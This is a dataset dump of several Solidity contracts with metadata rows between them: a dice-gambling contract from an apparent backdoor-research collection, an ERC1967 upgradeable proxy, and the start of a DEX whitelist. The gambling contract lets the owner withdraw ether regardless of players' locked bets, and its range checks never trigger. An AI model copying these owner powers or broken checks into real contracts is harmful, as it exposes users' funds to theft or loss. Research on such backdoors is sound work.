if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}
| 41,653 | 12,729 |
5a4def2bf8736218632e82aff2c78532fe923bca3d1967af3e6330cf70030a1a
| 18,110 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xca57c5f1635294c4b85c09ab8a5ddeb984f41c66.sol
| 4,801 | 17,175 |
pragma solidity >= 0.5.0;
contract WinyDice {
address payable private OWNER;
// Each bet is deducted 0.98% in favour of the house, but no less than some minimum.
// The lower bound is dictated by gas costs of the settleBet transaction, providing
// headroom for up to 20 Gwei prices.
uint public constant HOUSE_EDGE_OF_TEN_THOUSAND = 98;
uint public constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
// Modulo is a number of equiprobable outcomes in a game:
// - 2 for coin flip
// - 6 for dice
// - 6 * 6 = 36 for double dice
// - 6 * 6 * 6 = 216 for triple dice
// - 37 for rouletter
// - 4, 13, 26, 52 for poker
// - 100 for etheroll
// etc.
// It's called so because 256-bit entropy is treated like a huge integer and
// the remainder of its division by modulo is considered bet outcome.
uint constant MAX_MODULO = 216;
// For modulos below this threshold rolls are checked against a bit mask,
// thus allowing betting on any combination of outcomes. For example, given
// modulo 6 for dice, 101000 mask (base-2, big endian) means betting on
// 4 and 6; for games with modulos higher than threshold (Etheroll), a simple
// limit is used, allowing betting on any outcome in [0, N) range.
//
// The specific value is dictated by the fact that 256-bit intermediate
// multiplication result allows implementing population count efficiently
// for numbers that are up to 42 bits.
uint constant MAX_MASK_MODULO = 216;
// This is a check on bet mask overflow.
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
// Adjustable max bet profit. Used to cap bets against dynamic odds.
uint public MAX_PROFIT;
uint public MAX_PROFIT_PERCENT = 10;
bool public KILLED;
// Funds that are locked in potentially winning bets. Prevents contract from
// committing to bets it cannot pay out.
uint128 public LOCKED_IN_BETS;
uint256 public JACKPOT_BALANCE = 0;
bool public PAYOUT_PAUSED;
bool public GAME_PAUSED;
//Minimum amount that can have a chance to win jackpot
uint256 public constant MIN_JACKPOT_BET = 0.1 ether;
uint256 public JACKPOT_CHANCE = 1000; //0.1%
uint256 public constant JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_BET = 300000 ether;
// This are some constants making O(1) population count in placeBet possible.
// See whitepaper for intuition and proofs behind it.
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
uint constant MASK40 = 0xFFFFFFFFFF;
uint constant MASK_MODULO_40 = 40;
// A structure representing a single bet.
struct Bet {
// Wager amount in wei.
uint80 Amount;//10
// Modulo of a game.
uint8 Modulo;//1
// Number of winning outcomes, used to compute winning payment (* modulo/rollUnder),
// and used instead of mask for games with modulo > MAX_MASK_MODULO.
uint8 RollUnder;//1
// Address of a player, used to pay out winning bets.
address payable Player;//20
// Bit mask representing winning bet outcomes (see MAX_MASK_MODULO comment).
uint216 Mask;//27
uint40 PlaceBlockNumber;
}
// Mapping from commits to all currently active & processed bets.
mapping(uint => Bet) bets;
// Croupier account.
address private CROUPIER;
// Events that are issued to make statistic recovery easier.
event FailedPayment(address indexed playerAddress,uint indexed betId, uint amount,uint dice);
event Payment(address indexed playerAddress,uint indexed betId, uint amount,uint dice);
event JackpotPayment(address indexed playerAddress,uint indexed betId, uint amount);
// This event is emitted in placeBet to record commit in the logs.
event BetPlaced(uint indexed betId, uint source);
event LogTransferEther(address indexed SentToAddress, uint256 AmountTransferred);
constructor (address payable _owner,address _croupier) public payable {
OWNER = _owner;
CROUPIER = _croupier;
KILLED = false;
}
modifier onlyOwner() {
require(msg.sender == OWNER,"only owner can call this function.");
_;
}
// Standard modifier on methods invokable only by Croupier.
modifier onlyCroupier {
require(msg.sender == CROUPIER, "OnlyCroupier methods called by non-croupier.");
_;
}
modifier payoutsAreActive {
if(PAYOUT_PAUSED == true) revert("payouts are currently paused.");
_;
}
modifier gameIsActive {
if(GAME_PAUSED == true) revert("game is not active right now.");
_;
}
function GetChoiceCountForLargeModulo(uint inputMask, uint n) private pure returns (uint choiceCount) {
choiceCount += (((inputMask & MASK40) * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
for (uint i = 1; i < n; i++) {
inputMask = inputMask >> MASK_MODULO_40;
choiceCount += (((inputMask & MASK40) * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
}
return choiceCount;
}
function GetChoiceCount(uint inputMask ,uint modulo) private pure returns (uint choiceCount,uint mask) {
if (modulo <= MASK_MODULO_40) {
// Small modulo games specify bet outcomes via bit mask.
// rollUnder is a number of 1 bits in this mask (population count).
// This magic looking formula is an efficient way to compute population
// count on EVM for numbers below 2**40.
choiceCount = ((inputMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
mask = inputMask;
} else if (modulo <= MASK_MODULO_40 * 2) {
choiceCount = GetChoiceCountForLargeModulo(inputMask, 2);
mask = inputMask;
} else if (modulo == 100) {
require(inputMask > 0 && inputMask <= modulo, "High modulo range, betMask larger than modulo.");
choiceCount = inputMask;
} else if (modulo <= MASK_MODULO_40 * 3) {
choiceCount = GetChoiceCountForLargeModulo(inputMask, 3);
mask = inputMask;
} else if (modulo <= MASK_MODULO_40 * 4) {
choiceCount = GetChoiceCountForLargeModulo(inputMask, 4);
mask = inputMask;
} else if (modulo <= MASK_MODULO_40 * 5) {
choiceCount = GetChoiceCountForLargeModulo(inputMask, 5);
mask = inputMask;
} else if (modulo <= MAX_MASK_MODULO) {
choiceCount = GetChoiceCountForLargeModulo(inputMask, 6);
mask = inputMask;
} else {
// Larger modulos specify the right edge of half-open interval of
// winning bet outcomes.
require(inputMask > 0 && inputMask <= modulo, "High modulo range, betMask larger than modulo.");
choiceCount = inputMask;
}
}
// Get the expected win amount after house edge is subtracted.
function GetDiceWinAmount(uint amount, uint modulo, uint choiceCount) private pure returns (uint winAmount, uint jackpotFee) {
require(0 < choiceCount && choiceCount <= modulo, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_OF_TEN_THOUSAND / 10000;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require(houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * modulo / choiceCount;
}
/// *** Betting logic
// Bet states:
// amount == 0 && player == 0 - 'clean' (can place a bet)
// amount != 0 && player != 0 - 'active' (can be settled or refunded)
// amount == 0 && player != 0 - 'processed' (can clean storage)
function PlaceBet(uint mask, uint modulo, uint betId , uint source) public payable gameIsActive {
if(KILLED == true) revert ("Contract Killed");
// Check that the bet is in 'clean' state.
MAX_PROFIT = (address(this).balance + msg.value - LOCKED_IN_BETS - JACKPOT_BALANCE) * MAX_PROFIT_PERCENT / 100;
Bet storage bet = bets[betId];
if(bet.Player != address(0)) revert("Bet should be in a 'clean' state.");
// Validate input data ranges.
if(modulo < 2 && modulo > MAX_MODULO) revert("Modulo should be within range.");
if(msg.value < MIN_BET && msg.value > MAX_BET) revert("Amount should be within range.");
if(mask < 0 && mask > MAX_BET_MASK) revert("Mask should be within range.");
uint choiceCount;
uint finalMask;
(choiceCount,finalMask) = GetChoiceCount(mask,modulo);
// Winning amount and jackpot increase.
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = GetDiceWinAmount(msg.value, modulo, choiceCount);
// Enforce max profit limit.
if(possibleWinAmount > MAX_PROFIT) revert("maxProfit limit violation.");
// Lock funds.
LOCKED_IN_BETS += uint128(possibleWinAmount);
JACKPOT_BALANCE += uint128(jackpotFee);
// Check whether contract has enough funds to process this bet.
if((JACKPOT_BALANCE + LOCKED_IN_BETS) > address(this).balance) revert("Cannot afford to lose this bet.");
// Record commit in logs.
emit BetPlaced(betId, source);
// Store bet parameters on blockchain.
bet.Amount = uint80(msg.value);
bet.Modulo = uint8(modulo);
bet.RollUnder = uint8(choiceCount);
bet.Mask = uint216(mask);
bet.Player = msg.sender;
bet.PlaceBlockNumber = uint40(block.number);
}
// Helper routine to process the payment.
function SendFunds(address payable beneficiary, uint amount, uint successLogAmount, uint betId,uint dice) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary,betId, successLogAmount,dice);
MAX_PROFIT = (address(this).balance - amount - JACKPOT_BALANCE - LOCKED_IN_BETS) * MAX_PROFIT_PERCENT / 100;
} else {
emit FailedPayment(beneficiary,betId,amount,dice);
}
}
// Refund transaction - return the bet amount of a roll that was not processed in a
// due timeframe.
// in a situation like this, just contact us, however nothing
// precludes you from invoking this method yourself.
function RefundBet(uint betId) external onlyOwner {
// Check that bet is in 'active' state.
Bet storage bet = bets[betId];
uint amount = bet.Amount;
if(amount == 0) revert("Bet should be in an 'active' state");
// Move bet into 'processed' state, release funds.
bet.Amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = GetDiceWinAmount(amount, bet.Modulo, bet.RollUnder);
LOCKED_IN_BETS -= uint128(diceWinAmount);
if (JACKPOT_BALANCE >= jackpotFee) {
JACKPOT_BALANCE -= uint128(jackpotFee);
}
// Send the refund.
SendFunds(bet.Player, amount, amount, betId,0);
MAX_PROFIT = (address(this).balance - LOCKED_IN_BETS - JACKPOT_BALANCE - diceWinAmount) * MAX_PROFIT_PERCENT / 100;
delete bets[betId];
}
// This is the method used to settle bets.
function SettleBet(string memory betString,bytes32 blockHash) public onlyCroupier {
uint betId = uint(keccak256(abi.encodePacked(betString)));
Bet storage bet = bets[betId];
uint placeBlockNumber = bet.PlaceBlockNumber;
if(block.number <= placeBlockNumber) revert("settleBet in the same block as placeBet, or before.");
if(blockhash(placeBlockNumber) != blockHash) revert("Invalid BlockHash");
SettleBetCommon(bet,betId,blockHash);
}
// Common settlement code for settleBet.
function SettleBetCommon(Bet storage bet, uint betId,bytes32 blockHash) private {
uint amount = bet.Amount;
uint modulo = bet.Modulo;
uint rollUnder = bet.RollUnder;
address payable player = bet.Player;
// Check that bet is in 'active' state.
if(amount == 0) revert("Bet should be in an 'active' state");
// Move bet into 'processed' state already.
bet.Amount = 0;
// The RNG - combine "betId" and blockHash of placeBet using Keccak256.
bytes32 entropy = keccak256(abi.encodePacked(betId, blockHash));
// Do a roll by taking a modulo of entropy. Compute winning amount.
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = GetDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
// Determine dice outcome.
if ((modulo != 100) && (modulo <= MAX_MASK_MODULO)) {
// For small modulo games, check the outcome against a bit mask.
if ((2 ** dice) & bet.Mask != 0) {
diceWin = diceWinAmount;
}
} else {
// For larger modulos, check inclusion into half-open interval.
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
// Unlock the bet amount, regardless of the outcome.
LOCKED_IN_BETS -= uint128(diceWinAmount);
// Roll for a jackpot (if eligible).
if (amount >= MIN_JACKPOT_BET) {
// The second modulo, statistically independent from the "main" dice roll.
// Effectively you are playing two games at once!
uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_CHANCE;
// Bingo!
if (jackpotRng == 0) {
jackpotWin = JACKPOT_BALANCE;
JACKPOT_BALANCE = 0;
}
}
// Log jackpot win.
if (jackpotWin > 0) {
emit JackpotPayment(player,betId,jackpotWin);
}
// Send the funds to player.
SendFunds(player, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin, betId,dice);
MAX_PROFIT = (address(this).balance - LOCKED_IN_BETS - JACKPOT_BALANCE - diceWin) * MAX_PROFIT_PERCENT / 100;
delete bets[betId];
}
function GetBetInfoByBetString(string memory betString) public view onlyOwner returns (uint _betId, uint amount, uint8 modulo, uint8 rollUnder, uint betId, uint mask, address player) {
_betId = uint(keccak256(abi.encodePacked(betString)));
(amount, modulo, rollUnder, betId, mask, player) = GetBetInfo(_betId);
}
function GetBetInfo(uint _betId) public view returns (uint amount, uint8 modulo, uint8 rollUnder, uint betId, uint mask, address player) {
Bet storage bet = bets[_betId];
amount = bet.Amount;
modulo = bet.Modulo;
rollUnder = bet.RollUnder;
betId = _betId;
mask = bet.Mask;
player = bet.Player;
}
function ownerPauseGame(bool newStatus) public onlyOwner {
GAME_PAUSED = newStatus;
}
function ownerPausePayouts(bool newPayoutStatus) public onlyOwner {
PAYOUT_PAUSED = newPayoutStatus;
}
function ownerSetMaxProfit(uint _maxProfit) public onlyOwner {
MAX_PROFIT = _maxProfit;
MAX_PROFIT = (address(this).balance - LOCKED_IN_BETS - JACKPOT_BALANCE) * MAX_PROFIT_PERCENT / 100;
}
function ownerSetMaxProfitPercent(uint _maxProfitPercent) public onlyOwner {
MAX_PROFIT_PERCENT = _maxProfitPercent;
MAX_PROFIT = (address(this).balance - LOCKED_IN_BETS - JACKPOT_BALANCE) * MAX_PROFIT_PERCENT / 100;
}
function TransferEther(address payable sendTo, uint amount) public onlyOwner {
if(!sendTo.send(amount))
revert("owner transfer ether failed.");
if(KILLED == false)
{
MAX_PROFIT = (address(this).balance - LOCKED_IN_BETS - JACKPOT_BALANCE) * MAX_PROFIT_PERCENT / 100;
}
emit LogTransferEther(sendTo, amount);
}
//Add ether to contract by owner
function ChargeContract () external payable onlyOwner {
MAX_PROFIT = (address(this).balance - LOCKED_IN_BETS - JACKPOT_BALANCE) * MAX_PROFIT_PERCENT / 100;
}
// Contract may be destroyed only when there are no ongoing bets,
// either settled or refunded. All funds are transferred to contract owner.
function kill() external onlyOwner {
require(LOCKED_IN_BETS == 0, "All bets should be processed (settled or refunded) before self-destruct.");
KILLED = true;
JACKPOT_BALANCE = 0;
}
function ownerSetNewOwner(address payable newOwner) external onlyOwner {
OWNER = newOwner;
}
function ownerSetNewCroupier(address newCroupier) external onlyOwner {
CROUPIER = newCroupier ;
}
}
| 144,418 | 12,730 |
f18a7c0a0b3bb5df4005a75d5a6450d4eb8f49a171e6157e89acec17272b8934
| 22,908 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ff/FfB02c56bB2843b794016Ddc08ab11a8be7D73Ca_ERC1967Proxy.sol
| 2,693 | 11,420 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
interface IBeacon {
function implementation() external view returns (address);
}
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallSecure(address newImplementation,
bytes memory data,
bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation));
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
_changeAdmin(msg.sender);
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
function _admin() external view returns (address admin) {
return _getAdmin();
}
function _transferAdmin(address _new_admin) external {
require(_getAdmin() == msg.sender);
_changeAdmin(_new_admin);
}
function _upgrade(address _logic) external {
require(_getAdmin() == msg.sender);
_upgradeTo(_logic);
}
}
| 83,812 | 12,731 |
0718f02d159bec0f4244018d51fbe219539d49ae841ede063c2b34154e4880dc
| 34,982 |
.sol
|
Solidity
| false |
319161784
|
CurioTeam/capital-dex-core
|
fb59d60140dd154614f13f091e2add3a558039c9
|
flattened-contracts/DexWhitelist.sol
| 4,118 | 17,032 |
// SPDX-License-Identifier: GPL-3.0 AND MIT
pragma solidity 0.6.12;
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
contract Administrated is Initializable, OwnableUpgradeSafe {
using EnumerableSet for EnumerableSet.AddressSet;
event AddAdmin(address indexed admin);
event RemoveAdmin(address indexed admin);
EnumerableSet.AddressSet internal admins;
modifier onlyAdmin() {
require(isAdmin(msg.sender), "Administrated: sender is not admin");
_;
}
function isAdmin(address _admin) public view returns (bool) {
return admins.contains(_admin);
}
function getAdminCount() external view returns (uint256) {
return admins.length();
}
function addAdmin(address _admin) external onlyOwner {
admins.add(_admin);
emit AddAdmin(_admin);
}
function removeAdmin(address _admin) external onlyOwner {
admins.remove(_admin);
emit RemoveAdmin(_admin);
}
}
contract Managed is Initializable, Administrated {
using EnumerableSet for EnumerableSet.AddressSet;
event AddManager(address indexed manager, address indexed admin);
event RemoveManager(address indexed manager, address indexed admin);
EnumerableSet.AddressSet internal managers;
modifier onlyAdminOrManager() {
require(isAdmin(msg.sender) || isManager(msg.sender),
"Managered: sender is not admin or manager");
_;
}
modifier onlyManager() {
require(isManager(msg.sender), "Managered: sender is not manager");
_;
}
function isManager(address _manager) public view returns (bool) {
return managers.contains(_manager);
}
function getManagerCount() external view returns (uint256) {
return managers.length();
}
function addManager(address _manager) external onlyAdmin {
managers.add(_manager);
emit AddManager(_manager, msg.sender);
}
function removeManager(address _manager) external onlyAdmin {
managers.remove(_manager);
emit RemoveManager(_manager, msg.sender);
}
}
contract Pausable is Initializable, OwnableUpgradeSafe {
event Paused();
event Unpaused();
bool private _paused;
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused();
}
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused();
}
}
interface ICarTokenController {
